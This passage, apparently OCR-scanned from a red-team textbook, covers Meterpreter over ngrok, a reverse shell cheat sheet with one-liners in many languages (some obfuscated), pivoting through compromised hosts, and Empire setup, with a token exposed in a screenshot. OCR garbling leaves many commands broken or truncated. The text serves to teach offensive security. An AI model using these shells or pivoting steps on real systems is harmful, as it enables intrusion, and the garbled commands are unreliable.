! Neterpreter xd6/windows PT-POPT @ PT-PC 127.0.0.1:843 -» 127.0.0.0:575%5 (127.0.0.1)

isf exploit( B

Let's also interact with the session for further confirmation:
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000 Harty — msfconsole — 143x3
st exploit( ) > Sess10m8 -1 2
Starting tnteraction with 2...

eterpreter > getutd
Server username: PT-POPT

leterpreter > getptd
(urrent pid: 2024

leterpreter » sysinfo

(Omputer sblhd

0 : Windows 7 (Butld 7600),
Arcitecture —+ ¥64

System Language + en_U$

Doman + WORKGROUP

Logged On Users .

Meterpreter & x86/windows

leterpreter »

The session is stable and working perfectly. Thanks, ngrox!

Another good thing about using ngrox 1s the web interface. The interface does so much
more than displaying the status. We can see connection-related information on this
interface:
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r

00 oS

—_—

i

€ 0 QmO0nA0 s

Confiquraton

Tlinnels e

command_lne

L https:/c3386Tadnorok, o
e Localhost: 8443

Inspect enaled

Prato https

Addr [0calhost ;8443
Inspect napled

Prato fttp

Metrics

Gonnections
fumel folal open fsaetm Jsecim Jsec 1o
commandfme 10 000 000 OO0

command neftp) 15 0 05 077 Off

i wo w0
Connection Durations son
e oW W W
command fing 0303 03 03

command lne i) 03 0% 20

Al 0 0 2
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We can also see the number of requests made to the ngrox server from this interface:
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0 0 [ ngok-Stas x ' [} cos86Ta0ngrok.o X\ 0

€ - C |0 12200.:4040/status JEUE T A R

Global
HrPProry o vale HTTP Hequests

SOCKSSProxy fio value
tunnel tofal /secim /sec5m  /seci5m
ServerAddr tunnel, us.ngrok, com: 443

, command_line 0 000 000 000
Authtoken TCWhnYYRQesFET3VxctFe_LxkDFmgoqGsw|wkBxC4C

e command_fne fttp) 115 051 027 (01
Serversil o value All 115 051 027 0.1
HebAddr 127.0.0.1:4040
RootCAs ngrok,com trysted root '

HTTP Request Durations Inseconds)
CompressConn 1o valle

tunnel 0% 9% %% 9%
UpdateChannel  stable
e ke command _line 000 000 000 000
LogLevel info command_line (ttp) 000 001 03 200
LogFormat terninal M 000 001 035 200

ConsoleUIColor  Dlack

InspectDBSize 52428800

Hetadata no vale

ConfigPaths  /Users/Harry/.ngrok2/ngrok.yml
Update disabled

Consolell enabled

28
Ask a question
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We can check the tunnel status from our ngrox dashboard:
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This 1s a good technique that can be used once in a while, but do not depend on it for
red-team operations. It's better to use your privately and anonymously owned VPS for
this.

Now for the bonus part! The following is the reverse shell cheat sheet that you can refer
to whenever necessary. This covers anything from a normal sasn reverse sne11 to a lesser

Kknown node Js reverse shell.

Technet24
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Reverse shell cheat sheet

Please use this carefully.
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Bash reverse shell

A bash reverse shell one-liner command using custom file descriptor is as follows (it
won't be a tty):

exec 100<>/dev/tcp/192.168.2.6/8080
cat <&100 | while read line; do $line 2>&100 >&100; done

Or:
|whi1e read line 0<&100; do $line 2>&100 >&100; done

A bash reverse shell one-liner command using bash's interactive mode is as follows:
|bash -i >& /dev/tcp/192.168.2.6/8080 0>&l

In both cases, you can use /dev/tcp for TCP-based reverse shell and /aev/uap for UDP-
based reverse shell. (For a UDP connection, use the -u switch with neccat to get the shell
over UDP.)

Technet24
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Z:sh reverse shell

A Zsh reverse shell one-liner command using zmodai0aa to load a tcp module for
communication using «cp sockets is as follows:

|zmodload zsh/net/tcp;ztcp 192.168.2.6 8080;while read -r cmd <&$REPLY;do eval ${cmd} >&$REPLY;dor

A Zsh reverse shell one-liner command using a custom file descriptor with a zmoa1oaa
ztcp module 1s as follows:

|zmodload zsh/net/tcp && ztcp -d 9 192.168.2.6 8080 && zsh 1>&9 2>&9 0>&9
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TCLsh/wish reverse shell

|echo 'set s [socket 192.168.2.6 8080] ;while 100 { puts -nonewline $s "RevSh>";flush $s;gets $s c;
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Ksh reverse shell

|ksh -c 'ksh >/dev/tcp/192.168.2.6/8080 0>&l1'
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Netcat reverse shell

Without carrie securtry more (USING mkfifo):

|rm -f /tmp/a; mkfifo /tmp/a; nc 192.168.2.6 8080 0</tmp/a | /bin/sh >/tmp/a 2>&l; rm /tmp/a

Or using mxnod:

|rm -f /tmp/a; mknod /tmp/a p && nc 192.168.2.6 8080 0</tmp/a | /bin/bash 1>/tmp/a

With capine securiTy HOLE:

|nc 192.168.2.6 8080 -e /bin/sh
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Telnet reverse shell

Attacker machine (two listeners):

nc -1lv 8080

nc -1lv 8081

Victim

telnet 192.168.2.6 8080 | /bin/bash | telnet 192.168.2.6 8081

Commands will be executed on port soso and the output of those commands will be
printed to port sos1 on the attacker's machine.
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(G)awk reverse shell

| awk 'BEGIN{s="/inet/tcp/0/192.168.2.6/8080";for(;s|&getline c;close(c))while (c|getline)print|é&s;c¢
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R reverse shell

| R -e "s<-socketConnection (host='192.168.2.6',port=8080,blocking=TRUE, server=FALSE,open='r+"') ;whil
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Python reverse shell

e TCP-based Python reverse shell:

| python -c 'import socket, subprocess,os;s=socket.socket (socket.AF INET, socket.SOCK_STREAM)

e UDP-based Python reverse shell:

| python -c 'import socket, subprocess,os;s=socket.socket (socket.AF INET, socket.SOCK_DGRAM) ;

e Base64 encoded:

| python -c "exec('aWlwb3JOIHNvY2tldCAgICAsc3VicHJIvY2VzcyAgICAsb3MgICAgIDtob3NOPSIXOTIuMTY/
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Perl reverse shell

e TCP-based per1 reverse shell (/vin/sn dependent):

| perl -e 'use Socket;$i="192.168.2.6";$p=8080;socket (S,PF_INET,SOCK STREAM,getprotobyname

e UDP-based per1 reverse shell (/0in/sn dependent):

| perl -e 'use Socket;$i="192.168.0.106";$p=8080;socket (S,PF_INET,SOCK DGRAM,getprotobyname
Without using ' /oin/sn':

| perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET (PeerAddr,"192.168.2.6:8080

e For Windows:

| perl -MIO -e "$c=new IO::Socket: :INET (PeerAddr,'192.168.2.6:8080') ;STDIN->fdopen ($c,r) ;$-
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Ruby reverse shell

|ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.2.6","8080") ;while (cmd=c.gets) ;IO.popen (¢

Or,

|ruby -rsocket -e "c=TCPSocket.new('192.168.0.106','8080') ;while(cmd=c.gets) ;IO.popen(cmd,'r"') {|ic

/bin/sh iIndependent:

|ruby -rsocket -e'f=TCPSocket.open("192.168.2.6",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>¢
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Php reverse shell

e Using the exec () function:

| php -r '$s=fsockopen ("192.168.2.6",8080) ;exec("/bin/sh -i <&3 >&3 2>&3") ;'

e Using the sne11 exec() function:

| php -r '$s=fsockopen("192.168.2.6",8080) ;shell exec("/bin/sh -i <&3 >&3 2>&3");'
e Using the system() function:

| php -r '$s=fsockopen("192.168.2.6",8080) ;system("/bin/sh -i <&3 >&3 2>&3") ;'

e Using the popen ) function:

| php -r 'S$s=fsockopen("192.168.2.6",8080) ;popen("/bin/sh -i <&3 >&3 2>&3","r") ;'
e Using just /vin/sn:

| php -r '$s=fsockopen("192.168.2.6",8080); /bin/sh -i <&3 >&3 2>&3°;'
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Lua reverse shell

|1ua -e "local s=require('socket') ;local t=assert(s.tcp()) ;t:connect('192.168.2.6',8080) ;while tr
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Nodejs reverse shell

|nodejs -e '(function(){ var require = global.require || global.process.mainModule.constructor._lc

Hex encoded (encode the raw noqe.3s command into a hex format):

|node -e 'eval ("\x20\x28\x66\x75\x6e\x63\x74\x69\x6£\x6e\x28\x29\x7b\x20\x76\x61\x72\x20\x72\x65\2
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Powershell reverse shell

|powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) {$c.Close()};if ($p.ExitCoc

Gzip compressed and Base64 encoded:

|powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]: :create((New-Object IO.StreamReac
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Socat reverse shell over TCP

| socat tcp-connect:192.168.2.6:8000 exec: 'bash -1li',pty,stderr,sane 2>&l1>/dev/null &
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Socat reverse shell over UDP

| socat udp-connect:192.168.2.6:8000 exec: 'bash -1li',pty,stderr,sane 2>&l1>/dev/null &
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Socat reverse shell over SSL (cert.pem is
the custom certificate)

| socat exec:'bash -1li',pty,stderr,setsid,sigint,sane openssl-connect:192.168.2.6:8000,key=$HOME/ce

We hope you now understand the criticality of using a reverse tcp payload without any
security. In the next chapter, you will be learning about Empire, the tool that is juiced up
with PowerShell modules to get you better access to your target server.
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Summary

At the beginning of this chapter, we explored what a reverse connection and reverse
shell connection is using tools such as netcat, ncat, openssi, socat, cryptcat, and powercat. We
then tried different payloads to get reverse shell connections using Metasploit

—reverse tep, reverse tcp rcd, aNd reverse nttps. We then saw the enhanced version of
reverse https DYy USing a custom SSL certificate with an impersonation technique, a
meterpreter hijacking case scenario, paranoid mode, and by getting a meterpreter
session over ngrox. Finally, we provided you with a cheat sheet that you can refer to
whenever you want a reverse shell.
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Questions

NownkLbh =

Is it absolutely necessary to understand the concept of reverse shell connections?
Is it required for us to get a reverse shell over an encrypted channel?

Are there any GUI tools that can be used to generate Metasploit payloads?

Can we get Cryptcat for Windows?

Can we use a different stage encoder other than snikata ga nai?

Can we use paranoid mode in our red-team operations?

IS ngrox free to use?
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Further reading

For more information on the topics discussed in this chapter, please visit the following
links:

Reverse connection: nttps://en.wikipedia.org/wiki/Reverse connection
Reverse Shell cheat sheet: nttps://gtfobins.github.io/

InfoSec Resources: nitps://resources.infosecinstitute.com/icmp-reverse-shell/
The GNU Netcat: nitp://netcat.sourceforge.net/

Ncat Users' Guide: nttps://nmap.org/ncat/guide/

Powercat: nttps://github.com/besimorhino/powercat

CryptCat Project: ncep://crypteat. sourceforge.net/

socat: nttp://www.dest-unreach.org/socat/doc/socat .html

metasplOit-frameWOrk: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-

reverse-shell-in-Metasploit

Meterpreter: nttps://blog.rapid7.com/2011/06/29/meterpreter-httphttps-communication/

e Meterpreter paranoid mode:nctps://github. com/rapid7/metasploit-framework/wiki/Meterpr
eter-Paranoid-Mode

e Meterpreter over Ngrok: nctps://zircanavo-abyss.blogspot.com/2017/05/meterpreter-over-

ngrok.html
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Pivoting

Once we have gained access to a system using either a web application or service
exploitation, our next goal is to gain access to the internal network that the system might
be connected to. Before we explore the details of this, let's first try to understand a bit
about port forwarding. Port forwarding is a method which is used to authorize an
external device's access to an internal network.

This 1s most commonly used by gamers. For example, imagine you're playing Counter
Strike and you want to play with your friends by creating a game server. However, those
friends are not on the same network as you. To overcome this, you port forward an
external port of your public IP to your machine's local port number:

i

-

4

//' seeee 2N
I PO G Local Machine 1 CS5 Server
— / 192.168.1.105 Port 27015

Incoming Requests [
21 -
: Forwarding Port 80
"--..H_*

e .

AAPRPaCH

Router
T
l|‘..

Ml o bk

Local Machine 2 Web Server
192.168.1.10 Part 80

Source: https:/superuser.com/questions/284051/what-is-p ort-forwarding-and-what-is-it-used-for

The simplest method of port forwarding 1s through socat. Socat is a command line-
based utility that establishes two bidirectional byte streams and transfers data between
them. It is also sometimes referred to as netcat on steroids because it has a lot of extra

features which netcat lacks.

0 Socat can be downloaded fI‘OIIl the fO]lOWlng link: http://www.dest-unreach.org/socat/download/.
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For example, if we want someone to connect to our SSH service running on port 22 from
port soso, we can run the following command on our system:

|socat tcp-1:8080, fork, reuseaddr tcp:127.0.0.1:22

The preceding command listens for incoming TCP connections on port soso and forwards
them to local port 22, which is running the SSH service.

If we try to SSH onto port soso now, we will be able to connect and login:

MacBook-Alir:~ Himanshu% ssh root@._. . __ .. ____._.
root@ 'S password:

Last login: Thu Sep 13 21:81:88 2018 from
root@: W

Pivoting can be considered a set of techniques which use a currently exploited system as
a network hop in order to clear the path toward internally connected machines. In
simpler terms, we can use port forwarding to pivot inside the internal network of a
compromised host machine.

Let's look at different ways to pivot inside a network.
In this chapter, we will cover the following topics:
Pivoting via SSH

Meterpreter port forwarding

Pivoting via Armitage
Multi-level pivoting
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Technical requirements

e Metasploit Framework (MSF)
PGSQL (Postgres)

Oracle Java 1.7 or latest
Armitage

Cobalt Strike
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Pivoting via SSH

This technique can be used to access the local ports on a machine which are not
accessible from outside. Also known as SSH port forwarding or SSH tunneling, this
technique allows us to establish an SSH session and then tunnel TCP connections
through it.

Let's take a look at an example scenario in which we have SSH access to a Linux
system. This system has a VNC service running on the machine locally, but is not visible
or accessible from outside the network/system. By performing netstat on the machine,
we can see that the machine has a VNC service running on port soo1:

cha

Actiy

(state)
ESTABLISHED
TIME_WAIT
TIME WAIT
TIME WAIT
TIME_WAIT
ESTABLISHED
TIME_WAIT
ESTABLISHED
ESTABLISHED
ESTABLISHED
| ISTEN

| ISTEN
ESTABLISHED
ESTABLISHED
ESTABLISHED
| ISTEN

| ISTEN

| ISTEN

| ISTEN

However, by running an nnap scan from outside, we can see that the port is not open:
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mudit@mudit-VirtualBox:

Nmap scan report for

Host is up (0.36s5 latency).

Starting Nmap 7.60 ( https://nmap.org ) at 2018-09-11 14:06 IST

STATE SERVICE

91/tcp closed vnc-1

1 IP address (1 host up)

This is where SSH pivoting comes into use. We can use the following command on our
system to forward the port of the remote system onto our system using the SSH tunnel:

Issh -L <local port >:<local IP>:<remote port> user@remotehost
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Sk o
1]

root@mudit-virtualBox:~# ssh -L 5901:127.0.0.1:
Password for ct _ :

Last login: Tue Sep 11 10:42:17 2018 from 10.10.13.27
FreeBSD 11.1-RELEASE (GENERIC) #0 r321309: Fri Jul 21

Welcome to FreeBSD!

Release Notes, Errata:

tt oeBSD. or 0/
https D.org/mailman/listinfo/freebsd-questions,
/fforums -|th'P.u|g,

I

Documents installed with the system are in the /usr/local/share/doc/freebsd/
v, or can be ins .111-—|I later with: pkg install en-freebsd-doc

replac 1" with a language code like de or fr.
FreeBSD installed: freebsd-version : uname -a
and any error messages when posting questions.
L L w i man man
FreeBSD directory layout: man hier

Edit /etc/motd to change 7_:.-' s login announcement.
You can set autologout to have tcsh ]_C;l;i you oft automatica '|'|-r.
'IT r' | -||-|1 e :"||- ,L||-]-| ]||-||- 'I'. r more than 30 .

ch v % I

As we can see from the preceding screenshot, the command completed successfully. We
can now run another »map scan on our local machine to see that the port is now open:
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root@mudit-VirtualBox:-# nmap localhost -p 5901

Starting Nmap 7.60 ( https://nmap.org ) at 2018-09-11 16:04 IST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000033s latency).

PORT STATE SERVICE
5901/tcp open wnc-1

Nmap done: 1 IP address (1 host Lj} scanned in ©.31 seconds
root@mudit-VirtualBox:-# D

Since port s901 1s used for VNC, we can now connect to our local port se01 using any
VNC client, as shown in the following screenshot:

o I

root@mudit-Virtue ___. # vncviewer 127.0.0.1:5901

TigerVNC Viewer 64-bit v1.7.0

Built on: 2817-12-05 09:25

Co p1|1jh' IE 1999-2016 TigerVNC Team and many others (see README.txt)
w.tigervnc.org for information on TigerVNC.

Tue Sep 11 14:23:29 2018

Peccd_lanag_ : Detected 1 CPU core(s)

DecodeManager: Decoding data on main thread

CConn: connected to host 127.0.0.1 port 5901
CConnection: Server supports RFB protocol version 3.8
CConnection: Using RFB protocol version 3.8
CConnection: Choosing security type VncAuth(2)

Tue Sep 11 14:23:47 2018
X11PixelBuffer: Using default colormap and visual, TrueColor, J;p h 24

CConn: Using pixel format depth 24 (32bpp) little-endian rgh888
CConn: Using Tight encoding

Furthermore, we will have a new window open with the VNC connection, as follows:
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rol + id
uid=0(root) gid=0iwheel) groups=0{wheel),5{operator)
o # whoami

2
T,

VNC is just one example of how we can pivot using SSH. This can also be used for any
other service running on any port inside the network. The command will then become
the following:

|ssh -L <a>:<b>:<c> user(@<d>
Wherein:

a 1s the local port to which we want the port to be forwarded on our machine

» 1s the IP address of the machine inside the network

< 1s the port number of machine », which we want to access

a 1s the IP of the machine inside the network to which we already have SSH access

Pivoting via SSH only works if we have an SSH connection to a host in the network.
However, what if the OS that's installed is Windows? How do we do perform an SSH
port forward in that case?

The answer to this is through PuTTY Link (Plink). Plink is a command-line connection
tool similar to UNIX SSH. We can upload the p1ink.exe file onto a Windows machine and
use the same command that we used previously to perform SSH port forwarding:

|plink -R <localport>:<local IP>:<Remote IP> user@<remote host>

Plink can be downloaded from the following URL: nttps://www.chiark.greenend.org.uk/~sgtat

ham/putty/latest.html.

For more information on SSH, visit the following links:
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® https://unix.stackexchange.com/questions/115897/whats-ssh-port-forwarding-and-whats-the-diffe
rence-between-ssh-local-and-remot

® http://the.earth.li/~sgtatham/putty/0.52/htmldoc/Chapter7.html
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Meterpreter port forwarding

Meterpreter also has a built-in feature which allows direct access to the
systems/services inside the network which are otherwise unreachable. The main
difference between this and SSH tunneling is that SSH tunneling uses RSA encryption,
whereas Meterpreter port forwarding happens over TLS.

Let's look at an example of port forwarding using Meterpreter. The command used for
port forwarding using Meterpreter is portfwa. To view the options of the command, you
can type portfwa --help into Meterpreter:

meterpreter > portfwd --help
Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:

-L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.

Indicates a reverse port forward.

Help banner.

Index of the port forward entry to interact with (see the "list" command).
Forward: local port to listen on. Reverse: local port to connect to.
Forward: remote port to connect to. Reverse: remote port to listen on.
Forward: remote host to connect to.

In this example, we have access to a host, as shown in the following screenshot:
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162 168,054
NT _AUTHORLITY\SYSTEM @

We can now access the Meterpreter shell by right-clicking on the host via Meterpreter |
Interact | Meterpreter Shell, as shown in the following screenshot:

T2s 192.168.0.54
192.168.0

- Meterpreter 7 Access >

M 192.168.00 seyices e ‘

B 192.168.C SR Command Shell
Scan Explore Il-

M 192.168.C AP Meterpreter Shell

B 1921680 Host » | Bivoting * | Desktop (VNO

ARP 5can...
X [Scan X [Scan X |Jobs X [ Pro| s X |

In our example, we have a system with IP 192.165.0.5 running on port 223, which we want
to access from outside:

[Event Log XIMEterprEter 10 ITEﬂnmIE IISEwi[es I}

host | name port 4| proto info
192.168.0.5 ssh 22 tep 55H-2.0-OpenSSH_4.3
192.168.0.5 https 443 tep

We run the port forward by using the following command:
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| portfwd add -1 <local port> -p <remote port> -r < remote host>

meterpreter > portfwd aogad -L 8888 -p 443 -r 192.168.0.5

Local TCP relay created: :8888 <-> 192.168.0.5:443

Now, we can visit port sss on our localhost, where we will be able to see the
application, as shown in the following screenshot. In our case, an NAS storage was
running on the internal server on port 443, so we could see its login port, like so:

U6000Q-909 /80

For more information on this, visit the following link: ntcps://wm.offensive-security.con/met

asploit-unleashed/portfwd/.
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Pivoting via Armitage

So far, we have seen methods for pivoting in scenarios in which the machines are in the
same subnet and are reachable. However, during a RedTeam activity, we may come
across a network which has different subnets that we know exist but are not reachable
by the system we have a Meterpreter shell on. In this section, we will look at an
example of how to pivot to those networks.

The Windows system has a command-line tool that makes it possible to view the routing
table. This tool is called route. The routing table consists of destinations, routes, and
next hops. These entries define a route to a destination network.

To view a routing table of the system, we have to do the following:

1. Right-click on the host and go to Meterpreter | Interact | Command Shell, as shown
in the following screenshot:

Login
Meterpreter 1
Meterpreter 5

Meterpreter & Interact

>
ey e . Command Shell
=5p Meterpreter Shell
Scan Pivotin -
rivoting Desktop (VNC)
Host > [ ARP Scan...

Kill

This will open a CMD of our host. We will then run the route princ command,
which will show something like the following screenshot:
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IPv4 Route Table

Active Routes:

Network Destination

0.0.0.0
127.8.0.8
127.6.0.1
127.255.255.255
192.168.0.0
192.168.08.54
192.168.7.255
224.0.0.8
224.0.0.8
233.253.235.235
255.255.255.255

Netmask

0.0.0.0
255.0.0.0
255.255.255.255
255.255.255.255
255.255.248.0
255.255.255.255
255.255.255.255
240.0.0.0
240.0.0.0
255.255.255.255
255.255.255.255

Gateway
192.168.0.8

On-l1ink
On-l1ink
On-l1ink
On-link
On-l1ink
On-l1ink
On-link
On-link
On-l1ink
On-l1ink

Interface Metric

192.168.08.54
127.8.0.1
127.6.0.1
127.6.0.1
192.168.8.54
192.168.08.54
192.168.8.54
127.8.0.1
192.168.8.54
127.8.0.1
192.168.08.54

281
331
331
331
281
281
281
331
281
331
281

Persistent Routes:
Network Address
0.0.0.0

Netmask Gateway Address Metric
192.168.0.8 Default

8.0.0.90

The preceding screenshot shows the active routes. Now we know that there is a
subnet called 172.19.4.0/24 that exists, and we want to reach that.

To see a list of the current hosts that are reachable in the network, we can do an
ARP scan after setting up the pivot.

2. To set up the pivot, we can right-click on the host and go to Meterpreter | Pivoting |

Setup, as shown in the following screenshot:

is 192.168.0.54

Login [
Meterpreter 8 b
Services

Scan

Host

AcCcess
Interact
Explore

LA Y YT
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A new window will then open. From here, we can choose the subnet:

® 9 Add Pivot

host [ mask

192.168.0.0 255.255.248.0
| Add Pivot J

3. Once the pivot is set up, we can now proceed to discover the hosts that are live on
this network by right-clicking on the host.
4. Choose the Meterpreter session we have, and then select ARP Scan:

Login > 192.168.0.
Meterpreter 1 > 192.168.0.
Meterpreter 5 M Access >
Meterpreter 6 > ;maract >
Services Explore [
Scan Pivating *
Host 8 ARP Scan...
Kill
192.168.0.

A new window will open which shows us the subnets that are currently
accessible. Here, we can see the subnets that we also saw in the routing table in
the preceding screenshot:

@Ce ARP Scan
host ' mask

192.168.0.0 255.255.248.0

| ARP Scan |

5. Now we will click on ARP Scan, which actually runs a post exploitation module
(windows/gather/arp_scanner). From here, we can see that new hosts have been found,
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as well as added to the target window of our Armitage instance:

msf post( ) = run -]

[#] Post module running as background job 40.

[*] Running module against SE

[#] ARP Scanning 192.168.0.0/21

[4] IP: 192.168.0.5 MAC ¢ :e3 (Check Point Software Technologies)
[+] IP: 192.168.0.13 MAC 7:cO (UNKNOWN)

[+] IP: 192.168.0.15 MAC 9:c0 (UNKNOWN)

[+] IP: 192.168.0.7 MAC | .ef (Check Point Software Technologies)
[+] IP: 192.168.0.11 MAC a:cO (UNKNOWN)

[+] IP: 192.168.0.6 MAC | 1181 (Check Point Software Technologies)
[+] IP: 192.168.0.10 MAC 4:40 (UNKNOWN)

[+] IP: 192.168.0.12 MAC picO (UNKNOWN)

[4] IP: 192.168.0.8 MAC | 1181 (Check Point Software Technologies)
[+] IP: 192,168.0.14 MAC b:40 (UNKNOWN)

[+] IP: 192.168.0.68 MAC 6:68 (UNKNOWN)

[+] IP: 192.168.0.65 MAC 1:d8 (UNKNOWN)

However, we still can't see any of the machines from our target subnet 172.19.4.0/24. This
is because there was no route defined in the routing table of our current machine that we
have a Meterpreter shell on. Now let's learn how to manually add a route.

We can interact with the command shell as follows:

Login

Meterpreter 1
Meterpreter 5
Meterpreter &

o

access > |
AcCcess

YA Y Y
v

o Interact »  Command Shell
bl Explore >
= Meterpreter Shell
>can Pivotin >
- g Desktop (WNC)
Host » | ARP Scan...

Kill

Once the command shell is open, we can use the following command to manually add a
route into the system:

Technet24
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route add <subnet we want to reach> MASK <subnet mask> <gateway IP>

C:\Windows\system32> route add 172.19.4.0 MASK 255.255.255.0 192.168.0.8 OK!

The route has now been added. We will now set up the pivot in our Armitage instance
by right-clicking on the host and going to Meterpreter | Pivoting | Setup, as shown in the
following screenshot:

SERV-IT-... 14.143.37.229
192.168.0.54

192.168.0.54

192.168.0.5
192.168.0.5
192.168.0.5

Login
Meterpreter 1
Meterpreter 5

TRATY T

192.168.0.5 Access > )2.168.0.54
192.168.0. Meterpreter b Interact > }2.168.0.54
192.168.0.§ Seryices Explore » )2.168.0.54
192.168.0.7 3€an Pivoting >
192.168.0.3 Host » | ARP Scan...

G2 1A 1 R

Kill

In the new window which opens, we will see that a new subnet is in the table. We
choose our desired subnet and click Add Pivot, as follows:

0@ Add Pivot

host ' mask

172.19.4.0 255.255.255.0

192.168.0.0 255.255.248.0
| Add Pivot |

Once the pivot has been added, we can now perform the ARP scan using the steps we
mentioned previously. We will now see that we are able to reach the hosts inside that
subnet:
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msf post( ) > run =]
[#] Post module running as background job 12.
[#] Running module against SERV-IT-SHPPHIR

[#] ARP Scanning 172.19.4.0/24
[+] IP: 172.19.4.3 MAC Ce.cv.v s uw.Bl:ef
[+] IP: 172.19.4.2 MAC 69:81

Technet24
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Multi-level pivoting

In a RedTeam activity, we may often find more networks which are further accessible
from one of the internal systems. In our case, this was the 172.19.4.0/24 network. Multi-
level pivoting occurs when we achieve further access into a different subnet. Let's look
at an example of this:
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Welcome to Creately

Let's start drawing Network Diagrams

U

L ""”- Attacker

192.168.0.5

e
192.168.0.6

192.165.0.10

There's more. So start exploring. create

www.creately.com  Online Diagramming

In the preceding diagram, the attacker exploits the network and sets up a pivot on
192.168.0.10 to gain further visibility into the internal network. Upon doing more recon,
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the attacker comes across a system that has two NICs:
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fh

['/

> . -“

A, i
f e
192.168.0.11 (1 1 1]
1724111 B I e B
= = ==

Aess Attacker
Paint

=T
192.166.0.6
192.166.0.10
creately
testStart typing...

www.creately.com « Online Diagramming
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Once the attacker gains access to 192.16s.0.11, they can then add a pivot again which will
allow them access to 172.4.19.0 subnet. This 1s known as multi-level pivoting. The
following diagram explains this:
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- Cf

11
192.168.0.11 _ E =
1724.1.11 B I
I . .
Avcess Attacker
Pdint

-—
192.168.0.6
192.168.0.10
creately
testStart typing..

www.creately.com « Online Diagramming
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As explained previously, we found a system in the 172.4.19.0 system which has another IP
assigned to i1t. We exploited that system and added a pivot, as shown in the following
screenshot:

Connection-specific DNS Suffix . :

IPv4 Address. . . . . . . . . . . ! 172.17.10.240
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 172.16.1.1

Tunnel adapter isatap.{80743CD1-2C02-476D-B9A8-1B77D46A61C1}:

Media State . . . . . . . . . . . ! Media disconnected
Connection-specific DNS Suffix

Tunnel adapter isatap.{30ACOE58-FDF0-4D4C-9B40-DEFB62DBABFG} :

Media State . . . . . . . . . . . ! Media disconnected
Connection-specific DNS Suffix . :

Tunnel adapter Teredo Tunneling Pseudo-Interface:

Media State . . . . . . « « « « « ! Media disconnected
Connection-specific DNS Suffix . :

C:\Windows\system32>

Following the same steps as we did for the Meterpreter shell, on this system, we add
our pivot:

@ @ Add Pivot

host mask

172.17.0.0 255.255.0.0

|_ Add Pivot |
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When performing the ARP Scan, we can see that we were able to reach the systems in

this network too:

: 172.17.0.42
: 172.17.0.31

172.17.0.26
172.17.0.40

. 172.17.8.36

172.17.0.35
172.17.0.44
172.17.0.41

: 172.17.0.34
: 172.17.8.45
172.17.0.43
172.17.0.33
: 172.17.0.32
172.17.0.47
172.17.0.46

B S Sma Suaa’ S’ Seae® Suaa’ Saaa® T Suaa Saaa® S’ Saa® Saa®  Sae®
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Summary

At the beginning of this chapter, we learned about port forwarding and its uses. We also
learned about pivoting and its uses, followed by methods of port forwarding via SSH.
Then we learned about Meterpreter pivoting via Armitage, as well as the concept of
multi-level pivoting.

There are multiple ways to pivot. In further chapters, we will discuss pivoting via both
Empire and Cobalt Strike. If you do not recognize these terms right now, there's no need
to worry. We will cover everything in detail soon.
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Further reading

For more information on the topics discussed in this chapter, please visit the following
links:

® https://artkond.com/2017/03/23/pivoting-guide/

® https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/
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Age of Empire - The Beginning

In this chapter, we will cover Empire, which is an extremely powerful post exploitation
framework. The chapter will begin with a basic introduction to Empire, including
installation and configuration. From there we will move on with using Empire for post
exploitation effectively.

In this chapter, we will cover the following topics:

e Introduction to Empire

Empire setup and installation

Empire fundamentals

Empire post exploitation for Windows/Linux/OSX
Popping up a Meterpreter session using Empire
Slack notification for Empire agents
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Technical requirements

The technical requirements are as follows:

e Empire
e Slack

Empire is a great tool to use in Red Team operations. Many Red Teamers opt for this
tool due to its flexible architecture and its power over PowerShell. Empire can be very
confusing for many pen testers, but once mastered, it can be a great asset when
performing red team engagement.

Technet24
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Introduction to Empire

ACCOI’ding to the PowerShell Empire website (http: //www.powershellempire. com/):

"Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible
architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly
deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade
network detection, all wrapped up in a usability-focused framework."

It premiered at BSidesLV in 2015.
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Empire setup and installation

The Empire tool is open source and has a Git repository. We can clone the Git
repository from GitHub by executing the following command:

| git clone https://github.com/EmpireProject/Empire
[ EON ] Harry — harry@FuzzerOS:

: % git clone https://github.com/EmpireProject/Empire
Cloning into "Empire’...
remote: Counting objects: 11988, done.
remote: Compressing objects: 100% (72/72), done.
remote: Total 11988 (delta 42), reused 34 (delta 17), pack-reused 11899

Receiving objects: 100% (11988/11988), 20.63 MiB | 2.48 MiB/s, done.
Resolving deltas: 100% (8133/8133), done.
Checking connectivity... done.

S

The following files reside in the empire directory:

® " @ Harry — harry@Fuzzer
$ 1s -1lh
total 120K
W= W= =
W= MW= —
W W -
W W -
W W -
d Mass Man - X
— P AR P - X
d Mang man - X
dmassrwxr-x
dmangman(r-x

harry harry 1.9K Aug 27 22:11 Dockerfile
harry harry 1.6K Aug 27 22:11 LICENSE
harry harry 4.0K Aug 27 22:11 README.md
harry harry b Aug 27 22:11 VERSION
harry harry 25K Aug 27 22:11 changelog
harry harry 4.0K Aug 27 22:11

harry harry 60K Aug 27 22:11

harry harry 4.0K Aug 27 22:11

harry harry 4.0K Aug 27 22:11

harry harry 4.0K Aug 27 22:11

: $

1
1
1
1
1
7
1
7
2
z
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The Empire Framework is written in Python, so we first need to install the Python
dependencies. Empire already has an installation script, which can be viewed in the
setup directory (-/empire/setup/). The installation file is a simple Bash script which we
can execute by using the following command:

I./install.sh
@O Harry — harry@Fuzzer0S: ~/Empire/set

$ 1s -1h

total 28K
-rwxrwxr-x 1 harry harry 694 Aug 27 22:11
-rwxrwxr-x 1 harry harry 6.8K Aug 27 2Z2:11

-rw-rw-r-- 1 harry harry 203 Aug 27 22:11 requirements.txt

-rwxrwxr-x 1 harry harry 632 Aug 27 22:11

-rw-rw-r-- 1 harry harry 5.1K Aug 27 22:11 setup_database.py
- $ ./install.sh

This script will check and install all the packages and dependencies required by the
Empire framework. Once the installation is complete, you'll see a setup compiete!
message as shown in the following screenshot:

[=] Enter server negotiation password, enter for random generation:

